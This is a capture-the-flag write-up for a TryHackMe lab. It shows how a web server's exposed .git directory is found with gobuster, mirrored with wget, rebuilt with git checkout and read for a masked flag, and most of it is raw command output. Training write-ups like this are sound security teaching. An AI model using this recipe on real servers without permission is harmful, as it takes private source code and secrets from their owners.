Post cover image

July 29, 2026

TryHackMe Room 404 | Hacker Holidays | 2026 | writeup

This writeup outlines how to solve the TryHackMe Room 404 challenge, which involves identifying and extracting an exposed Git repository on…

By Sushma

10 min read

This writeup outlines how to solve the TryHackMe Room 404 challenge, which involves identifying and extracting an exposed Git repository on a web server running on port 8080.

Checking the port 8080

Step 1: Enumeration

  • Initial Discovery: Begin by scanning the target IP to identify directories or files. I recommend using Gobuster or a similar tool with a wordlist to find hidden directories.
root@ip-10-49-144-165:~/10.49.134.23:8080# gobuster dir -u http://10.49.134.23:8080/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/quickhits.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.49.134.23:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/quickhits.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/config          (Status: 200) [Size: 92]
/.git/                (Status: 200) [Size: 437]
/.git/HEAD            (Status: 200) [Size: 21]
/.git                 (Status: 200) [Size: 437]
/.git/index           (Status: 200) [Size: 289]
/.git/logs/HEAD       (Status: 200) [Size: 189]
/.git/logs/           (Status: 200) [Size: 165]
/.git/logs/refs       (Status: 200) [Size: 153]
/app.js               (Status: 200) [Size: 263]
Progress: 2439 / 2440 (99.96%)
===============================================================
Finished
===============================================================
  • Target Identification: The scan reveals the presence of a hidden .git directory on the web server.
None None None

After clicking on exclude file gor downloaded. Let's check content of file exclude

None

Instead of manually checking inside .git directory, I chose to download using wget.

Step 2: Exploitation

Manual Extraction using wget

This method is more straightforward since it relies on built‑in tools, reducing complexity and setup overhead.

We use wget to recursively download the files from the .git directory

wget -r -np -R "index.html*" [target_URL]/.git/

-r: Recursive download.

-np: No parent — prevents moving up directories.

-R "index.html*": Rejects index files.
└─$ wget -r -np -R "index.html*" http://10.49.134.23:8080//.git/
--2026-07-29 04:48:18--  http://10.49.134.23:8080//.git/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 437 [text/html]
Saving to: ‘10.49.134.23:8080/.git/index.html.tmp’

10.49.134.23:8080/.git/index.html.tmp  100%[============================================================================>]     437  --.-KB/s    in 0.009s

2026-07-29 04:48:18 (45.1 KB/s) - ‘10.49.134.23:8080/.git/index.html.tmp’ saved [437/437]

Loading robots.txt; please ignore errors.
--2026-07-29 04:48:18--  http://10.49.134.23:8080/robots.txt
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 404 NOT FOUND
2026-07-29 04:48:18 ERROR 404: NOT FOUND.

Removing 10.49.134.23:8080/.git/index.html.tmp since it should be rejected.

--2026-07-29 04:48:18--  http://10.49.134.23:8080//.git/COMMIT_EDITMSG
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/COMMIT_EDITMSG’

10.49.134.23:8080/.git/COMMIT_EDITMSG  100%[============================================================================>]      34  --.-KB/s    in 0.009s

2026-07-29 04:48:18 (3.65 KB/s) - ‘10.49.134.23:8080/.git/COMMIT_EDITMSG’ saved [34/34]

--2026-07-29 04:48:18--  http://10.49.134.23:8080//.git/HEAD
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/HEAD’

10.49.134.23:8080/.git/HEAD            100%[============================================================================>]      21  --.-KB/s    in 0.008s

2026-07-29 04:48:18 (2.53 KB/s) - ‘10.49.134.23:8080/.git/HEAD’ saved [21/21]

--2026-07-29 04:48:18--  http://10.49.134.23:8080//.git/branches/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 124 [text/html]
Saving to: ‘10.49.134.23:8080/.git/branches/index.html.tmp’

10.49.134.23:8080/.git/branches/index. 100%[============================================================================>]     124  --.-KB/s    in 0.01s

2026-07-29 04:48:18 (12.7 KB/s) - ‘10.49.134.23:8080/.git/branches/index.html.tmp’ saved [124/124]

Removing 10.49.134.23:8080/.git/branches/index.html.tmp since it should be rejected.

--2026-07-29 04:48:18--  http://10.49.134.23:8080//.git/config
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 92 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/config’

10.49.134.23:8080/.git/config          100%[============================================================================>]      92  --.-KB/s    in 0.01s

2026-07-29 04:48:18 (9.21 KB/s) - ‘10.49.134.23:8080/.git/config’ saved [92/92]

--2026-07-29 04:48:18--  http://10.49.134.23:8080//.git/description
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 73 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/description’

10.49.134.23:8080/.git/description     100%[============================================================================>]      73  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (7.09 KB/s) - ‘10.49.134.23:8080/.git/description’ saved [73/73]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 897 [text/html]
Saving to: ‘10.49.134.23:8080/.git/hooks/index.html.tmp’

10.49.134.23:8080/.git/hooks/index.htm 100%[============================================================================>]     897  --.-KB/s    in 0.009s

2026-07-29 04:48:19 (93.6 KB/s) - ‘10.49.134.23:8080/.git/hooks/index.html.tmp’ saved [897/897]

Removing 10.49.134.23:8080/.git/hooks/index.html.tmp since it should be rejected.

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/index
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 289 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/index’

10.49.134.23:8080/.git/index           100%[============================================================================>]     289  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (27.7 KB/s) - ‘10.49.134.23:8080/.git/index’ saved [289/289]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/info/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 145 [text/html]
Saving to: ‘10.49.134.23:8080/.git/info/index.html.tmp’

10.49.134.23:8080/.git/info/index.html 100%[============================================================================>]     145  --.-KB/s    in 0.009s

2026-07-29 04:48:19 (15.2 KB/s) - ‘10.49.134.23:8080/.git/info/index.html.tmp’ saved [145/145]

Removing 10.49.134.23:8080/.git/info/index.html.tmp since it should be rejected.

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/logs/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 165 [text/html]
Saving to: ‘10.49.134.23:8080/.git/logs/index.html.tmp’

10.49.134.23:8080/.git/logs/index.html 100%[============================================================================>]     165  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (15.6 KB/s) - ‘10.49.134.23:8080/.git/logs/index.html.tmp’ saved [165/165]

Removing 10.49.134.23:8080/.git/logs/index.html.tmp since it should be rejected.

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/objects/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 283 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/index.html.tmp’

10.49.134.23:8080/.git/objects/index.h 100%[============================================================================>]     283  --.-KB/s    in 0.009s

2026-07-29 04:48:19 (29.3 KB/s) - ‘10.49.134.23:8080/.git/objects/index.html.tmp’ saved [283/283]

Removing 10.49.134.23:8080/.git/objects/index.html.tmp since it should be rejected.

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/refs/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 169 [text/html]
Saving to: ‘10.49.134.23:8080/.git/refs/index.html.tmp’

10.49.134.23:8080/.git/refs/index.html 100%[============================================================================>]     169  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (11.4 KB/s) - ‘10.49.134.23:8080/.git/refs/index.html.tmp’ saved [169/169]

Removing 10.49.134.23:8080/.git/refs/index.html.tmp since it should be rejected.

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/applypatch-msg.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 478 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/applypatch-msg.sample’

10.49.134.23:8080/.git/hooks/applypatc 100%[============================================================================>]     478  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (48.4 KB/s) - ‘10.49.134.23:8080/.git/hooks/applypatch-msg.sample’ saved [478/478]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/commit-msg.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 896 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/commit-msg.sample’

10.49.134.23:8080/.git/hooks/commit-ms 100%[============================================================================>]     896  --.-KB/s    in 0.008s

2026-07-29 04:48:19 (115 KB/s) - ‘10.49.134.23:8080/.git/hooks/commit-msg.sample’ saved [896/896]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/fsmonitor-watchman.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4726 (4.6K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/fsmonitor-watchman.sample’

10.49.134.23:8080/.git/hooks/fsmonitor 100%[============================================================================>]   4.62K  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (400 KB/s) - ‘10.49.134.23:8080/.git/hooks/fsmonitor-watchman.sample’ saved [4726/4726]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/post-update.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 189 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/post-update.sample’

10.49.134.23:8080/.git/hooks/post-upda 100%[============================================================================>]     189  --.-KB/s    in 0.009s

2026-07-29 04:48:19 (21.4 KB/s) - ‘10.49.134.23:8080/.git/hooks/post-update.sample’ saved [189/189]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/pre-applypatch.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 424 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/pre-applypatch.sample’

10.49.134.23:8080/.git/hooks/pre-apply 100%[============================================================================>]     424  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (40.7 KB/s) - ‘10.49.134.23:8080/.git/hooks/pre-applypatch.sample’ saved [424/424]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/pre-commit.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1643 (1.6K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/pre-commit.sample’

10.49.134.23:8080/.git/hooks/pre-commi 100%[============================================================================>]   1.60K  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (162 KB/s) - ‘10.49.134.23:8080/.git/hooks/pre-commit.sample’ saved [1643/1643]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/pre-merge-commit.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 416 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/pre-merge-commit.sample’

10.49.134.23:8080/.git/hooks/pre-merge 100%[============================================================================>]     416  --.-KB/s    in 0.01s

2026-07-29 04:48:19 (39.7 KB/s) - ‘10.49.134.23:8080/.git/hooks/pre-merge-commit.sample’ saved [416/416]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/pre-push.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1374 (1.3K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/pre-push.sample’

10.49.134.23:8080/.git/hooks/pre-push. 100%[============================================================================>]   1.34K  --.-KB/s    in 0.006s

2026-07-29 04:48:19 (207 KB/s) - ‘10.49.134.23:8080/.git/hooks/pre-push.sample’ saved [1374/1374]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/pre-rebase.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4898 (4.8K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/pre-rebase.sample’

10.49.134.23:8080/.git/hooks/pre-rebas 100%[============================================================================>]   4.78K  --.-KB/s    in 0.008s

2026-07-29 04:48:19 (615 KB/s) - ‘10.49.134.23:8080/.git/hooks/pre-rebase.sample’ saved [4898/4898]

--2026-07-29 04:48:19--  http://10.49.134.23:8080//.git/hooks/pre-receive.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 544 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/pre-receive.sample’

10.49.134.23:8080/.git/hooks/pre-recei 100%[============================================================================>]     544  --.-KB/s    in 0.01s

2026-07-29 04:48:20 (53.7 KB/s) - ‘10.49.134.23:8080/.git/hooks/pre-receive.sample’ saved [544/544]

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/hooks/prepare-commit-msg.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1492 (1.5K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/prepare-commit-msg.sample’

10.49.134.23:8080/.git/hooks/prepare-c 100%[============================================================================>]   1.46K  --.-KB/s    in 0.008s

2026-07-29 04:48:20 (184 KB/s) - ‘10.49.134.23:8080/.git/hooks/prepare-commit-msg.sample’ saved [1492/1492]

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/hooks/push-to-checkout.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2783 (2.7K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/push-to-checkout.sample’

10.49.134.23:8080/.git/hooks/push-to-c 100%[============================================================================>]   2.72K  --.-KB/s    in 0.008s

2026-07-29 04:48:20 (322 KB/s) - ‘10.49.134.23:8080/.git/hooks/push-to-checkout.sample’ saved [2783/2783]

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/hooks/sendemail-validate.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2308 (2.3K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/sendemail-validate.sample’

10.49.134.23:8080/.git/hooks/sendemail 100%[============================================================================>]   2.25K  --.-KB/s    in 0.01s

2026-07-29 04:48:20 (206 KB/s) - ‘10.49.134.23:8080/.git/hooks/sendemail-validate.sample’ saved [2308/2308]

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/hooks/update.sample
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3650 (3.6K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/hooks/update.sample’

10.49.134.23:8080/.git/hooks/update.sa 100%[============================================================================>]   3.56K  --.-KB/s    in 0.009s

2026-07-29 04:48:20 (410 KB/s) - ‘10.49.134.23:8080/.git/hooks/update.sample’ saved [3650/3650]

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/info/exclude
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 240 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/info/exclude’

10.49.134.23:8080/.git/info/exclude    100%[============================================================================>]     240  --.-KB/s    in 0.008s

2026-07-29 04:48:20 (28.1 KB/s) - ‘10.49.134.23:8080/.git/info/exclude’ saved [240/240]

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/logs/HEAD
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 189 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/logs/HEAD’

10.49.134.23:8080/.git/logs/HEAD       100%[============================================================================>]     189  --.-KB/s    in 0.009s

2026-07-29 04:48:20 (19.5 KB/s) - ‘10.49.134.23:8080/.git/logs/HEAD’ saved [189/189]

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/logs/refs/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 153 [text/html]
Saving to: ‘10.49.134.23:8080/.git/logs/refs/index.html.tmp’

10.49.134.23:8080/.git/logs/refs/index 100%[============================================================================>]     153  --.-KB/s    in 0.006s

2026-07-29 04:48:20 (26.2 KB/s) - ‘10.49.134.23:8080/.git/logs/refs/index.html.tmp’ saved [153/153]

Removing 10.49.134.23:8080/.git/logs/refs/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/objects/0a/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/0a/index.html.tmp’

10.49.134.23:8080/.git/objects/0a/inde 100%[============================================================================>]     219  --.-KB/s    in 0.01s

2026-07-29 04:48:20 (22.5 KB/s) - ‘10.49.134.23:8080/.git/objects/0a/index.html.tmp’ saved [219/219]

Removing 10.49.134.23:8080/.git/objects/0a/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/objects/0f/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/0f/index.html.tmp’

10.49.134.23:8080/.git/objects/0f/inde 100%[============================================================================>]     219  --.-KB/s    in 0s

2026-07-29 04:48:20 (10.6 MB/s) - ‘10.49.134.23:8080/.git/objects/0f/index.html.tmp’ saved [219/219]

Removing 10.49.134.23:8080/.git/objects/0f/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/objects/25/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/25/index.html.tmp’

10.49.134.23:8080/.git/objects/25/inde 100%[============================================================================>]     219  --.-KB/s    in 0.01s

2026-07-29 04:48:20 (20.9 KB/s) - ‘10.49.134.23:8080/.git/objects/25/index.html.tmp’ saved [219/219]

Removing 10.49.134.23:8080/.git/objects/25/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/objects/a5/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/a5/index.html.tmp’

10.49.134.23:8080/.git/objects/a5/inde 100%[============================================================================>]     219  --.-KB/s    in 0.01s

2026-07-29 04:48:20 (21.7 KB/s) - ‘10.49.134.23:8080/.git/objects/a5/index.html.tmp’ saved [219/219]

Removing 10.49.134.23:8080/.git/objects/a5/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/objects/fa/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/fa/index.html.tmp’

10.49.134.23:8080/.git/objects/fa/inde 100%[============================================================================>]     219  --.-KB/s    in 0.01s

2026-07-29 04:48:20 (22.2 KB/s) - ‘10.49.134.23:8080/.git/objects/fa/index.html.tmp’ saved [219/219]

Removing 10.49.134.23:8080/.git/objects/fa/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/objects/info/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 132 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/info/index.html.tmp’

10.49.134.23:8080/.git/objects/info/in 100%[============================================================================>]     132  --.-KB/s    in 0.009s

2026-07-29 04:48:20 (14.2 KB/s) - ‘10.49.134.23:8080/.git/objects/info/index.html.tmp’ saved [132/132]

Removing 10.49.134.23:8080/.git/objects/info/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/objects/pack/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 132 [text/html]
Saving to: ‘10.49.134.23:8080/.git/objects/pack/index.html.tmp’

10.49.134.23:8080/.git/objects/pack/in 100%[============================================================================>]     132  --.-KB/s    in 0.008s

2026-07-29 04:48:20 (15.7 KB/s) - ‘10.49.134.23:8080/.git/objects/pack/index.html.tmp’ saved [132/132]

Removing 10.49.134.23:8080/.git/objects/pack/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/refs/heads/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 151 [text/html]
Saving to: ‘10.49.134.23:8080/.git/refs/heads/index.html.tmp’

10.49.134.23:8080/.git/refs/heads/inde 100%[============================================================================>]     151  --.-KB/s    in 0.01s

2026-07-29 04:48:20 (13.6 KB/s) - ‘10.49.134.23:8080/.git/refs/heads/index.html.tmp’ saved [151/151]

Removing 10.49.134.23:8080/.git/refs/heads/index.html.tmp since it should be rejected.

--2026-07-29 04:48:20--  http://10.49.134.23:8080//.git/refs/tags/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 126 [text/html]
Saving to: ‘10.49.134.23:8080/.git/refs/tags/index.html.tmp’

10.49.134.23:8080/.git/refs/tags/index 100%[============================================================================>]     126  --.-KB/s    in 0.009s

2026-07-29 04:48:21 (13.8 KB/s) - ‘10.49.134.23:8080/.git/refs/tags/index.html.tmp’ saved [126/126]

Removing 10.49.134.23:8080/.git/refs/tags/index.html.tmp since it should be rejected.

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/logs/refs/heads/
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 161 [text/html]
Saving to: ‘10.49.134.23:8080/.git/logs/refs/heads/index.html.tmp’

10.49.134.23:8080/.git/logs/refs/heads 100%[============================================================================>]     161  --.-KB/s    in 0.005s

2026-07-29 04:48:21 (29.5 KB/s) - ‘10.49.134.23:8080/.git/logs/refs/heads/index.html.tmp’ saved [161/161]

Removing 10.49.134.23:8080/.git/logs/refs/heads/index.html.tmp since it should be rejected.

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1202 (1.2K) [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7’

10.49.134.23:8080/.git/objects/0a/12ca 100%[============================================================================>]   1.17K  --.-KB/s    in 0.01s

2026-07-29 04:48:21 (118 KB/s) - ‘10.49.134.23:8080/.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7’ saved [1202/1202]

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 149 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda’

10.49.134.23:8080/.git/objects/0f/1355 100%[============================================================================>]     149  --.-KB/s    in 0.01s

2026-07-29 04:48:21 (13.5 KB/s) - ‘10.49.134.23:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda’ saved [149/149]

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 220 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb’

10.49.134.23:8080/.git/objects/25/75ab 100%[============================================================================>]     220  --.-KB/s    in 0.006s

2026-07-29 04:48:21 (33.5 KB/s) - ‘10.49.134.23:8080/.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb’ saved [220/220]

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 204 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523’

10.49.134.23:8080/.git/objects/a5/965c 100%[============================================================================>]     204  --.-KB/s    in 0.01s

2026-07-29 04:48:21 (16.4 KB/s) - ‘10.49.134.23:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523’ saved [204/204]

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 119 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4’

10.49.134.23:8080/.git/objects/fa/45db 100%[============================================================================>]     119  --.-KB/s    in 0.009s

2026-07-29 04:48:21 (12.8 KB/s) - ‘10.49.134.23:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4’ saved [119/119]

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/refs/heads/main
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 41 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/refs/heads/main’

10.49.134.23:8080/.git/refs/heads/main 100%[============================================================================>]      41  --.-KB/s    in 0.01s

2026-07-29 04:48:21 (4.03 KB/s) - ‘10.49.134.23:8080/.git/refs/heads/main’ saved [41/41]

--2026-07-29 04:48:21--  http://10.49.134.23:8080//.git/logs/refs/heads/main
Connecting to 10.49.134.23:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 189 [application/octet-stream]
Saving to: ‘10.49.134.23:8080/.git/logs/refs/heads/main’

10.49.134.23:8080/.git/logs/refs/heads 100%[============================================================================>]     189  --.-KB/s    in 0.01s

2026-07-29 04:48:21 (19.1 KB/s) - ‘10.49.134.23:8080/.git/logs/refs/heads/main’ saved [189/189]

FINISHED --2026-07-29 04:48:21--
Total wall clock time: 2.9s
Downloaded: 46 files, 32K in 0.4s (76.8 KB/s)

After downloading, move into the directory and apply Git commands to reconstruct the original files.

┌──(kali㉿kali)-[~/Downloads]
└─$ cd 10.49.134.23:8080

┌──(kali㉿kali)-[~/Downloads/10.49.134.23:8080]
└─$ ls

┌──(kali㉿kali)-[~/Downloads/10.49.134.23:8080]
└─$ ls -la
total 12
drwxrwxr-x 3 kali kali 4096 Jul 29 04:48 .
drwxr-xr-x 8 kali kali 4096 Jul 29 04:48 ..
drwxrwxr-x 8 kali kali 4096 Jul 29 04:48 .git

Run git checkout . to populate the project files

git checkout -- .
┌──(kali㉿kali)-[~/Downloads/10.49.134.23:8080]
└─$ git checkout -- .

┌──(kali㉿kali)-[~/Downloads/10.49.134.23:8080]
└─$ ls
app.js  index.html  README.md

┌──(kali㉿kali)-[~/Downloads/10.49.134.23:8080]
└─$ ls -l
total 12
-rw-rw-r-- 1 kali kali  263 Jul 29 04:54 app.js
-rw-rw-r-- 1 kali kali 2554 Jul 29 04:54 index.html
-rw-rw-r-- 1 kali kali  238 Jul 29 04:54 README.md

┌──(kali㉿kali)-[~/Downloads/10.49.134.23:8080]
└─$ ls -lA
total 16
-rw-rw-r-- 1 kali kali  263 Jul 29 04:54 app.js
drwxrwxr-x 8 kali kali 4096 Jul 29 04:54 .git
-rw-rw-r-- 1 kali kali 2554 Jul 29 04:54 index.html
-rw-rw-r-- 1 kali kali  238 Jul 29 04:54 README.md

Step 3: Flag Retrieval

Examine the retrieved files locally to assess their contents and structure.

Search for potentially sensitive files or the flag itself (such as a README or application source code). Use commands like cat or vim to inspect the contents of the identified file and retrieve the final flag.

┌──(kali㉿kali)-[~/Downloads/10.49.134.23:8080]
└─$ cat README.md
# Byte Lotus — Guest Experience Platform

Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.

Staging flag (remove before launch): THM{xxxx_xxxxx_xxxxx_xxxxxx}

Through systematic enumeration, careful inspection, and targeted use of built‑in tools, the challenge was successfully completed and the final flag recovered.

Thank you for following along with this walkthrough — feel free to share it with others who might benefit from the techniques and insights.